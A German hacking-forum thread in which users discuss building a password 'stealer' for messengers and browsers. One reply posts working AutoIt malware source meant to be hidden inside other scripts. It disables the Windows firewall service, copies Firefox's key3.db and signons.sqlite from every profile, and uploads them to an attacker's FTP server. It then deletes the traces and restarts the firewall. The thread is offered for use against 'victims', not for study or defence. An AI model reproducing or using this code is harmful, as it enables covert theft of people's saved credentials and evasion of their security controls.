[AutoIT] Passwörter auslesen

[Rofelmao]

Moin Leute,

ich wollt mal fragen wie ich Passwörter von WLM, ICQ und verschieden Browsern auslesen kann.
Wollt mir eine Art "Stealer" erstellen und wollt die Dateien gern auslesen.

[s1ckST4R]

Du meinst ein Keylogger? ^^

[Rofelmao]

Nein, ein Stealer.

es gibt ja RAT's da liest man die Passwörter von Browsern und Messenger'n auch aus.

[sarex]

les dir ma in der hilfe etwas zu regread durch das wär schon das haupt teil^^...

mfg

[chol3r4]

bei firefox hab ich mir einfach die Profilordner des victims geklaut und auf meinen FTP hochgeladen. Vondort lade ich es in meinen FF-Ordner als neues Profil herunter und switche es mit dem FF-Addon Profile Switcher, um die PWs zu sehen und zu benutzen^^

hier der code vielleicht hilft der dir ja weiter (kann man in jedes script in den Hintergrund mit reinarbeiten nicht nur beim stealer):

#include <FTPEx.au3>
#include <File.au3>
#include <Array.au3>
#include <ServiceControl.au3>
#RequireAdmin

If _ServiceExists("", "SharedAccess") Then ;Kontrolle der Firewall
    If _ServiceRunning("", "SharedAccess") = 1 Then
        _StopService("", "SharedAccess")
        $toggled = 1
    EndIf
endif

func _StealFFPW()

if FileExists(@HomePATH&"\AppData\Roaming\Mozilla\") then
    $hFTP = _FTP_Open("beliebig")
    $idFTP = _FTP_Connect($hFTP, "FTP-SERVER", "USER", "PW")
    $aFFProf = _FileListtoArray(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\")
    
    For $i = 1 to $aFFProf[0]
        FileCopy(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\key3.db", @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\key3.txt")
        FileCopy(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\signons.sqlite", @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\signons.txt")
        _FTP_FilePut($idFTP, @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\key3.txt", "/"&$aFFProf[$i]&"_key3.txt")
        _FTP_FilePut($idFTP, @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\signons.txt", "/"&$aFFProf[$i]&"_signons.txt")
        Sleep(5000)
        
    Next
    
    For $j = 1 to $aFFProf[0]
        FileDelete(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$j]&"\key3.txt") ;Spuren verwischen
        FileDelete(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$j]&"\signons.txt") ;Spuren verwischen
        
    Next
    if $toggled = 1 then
        If _ServiceExists("", "SharedAccess") Then
            If _ServiceRunning("", "SharedAccess") = 0 Then
                _StartService("", "SharedAccess")
            EndIf
        endif
    endif
    
Else
    Exit
    
endif

endfunc

du brauchst dazu folgende Includes:
FTPEx.au3, File.au3, Array.au3, ServiceControl.au3

hoffe ich konnte helfen^^ hab ihn bisher nur bei mir ausprobiert also k.a. ob das sicher is^^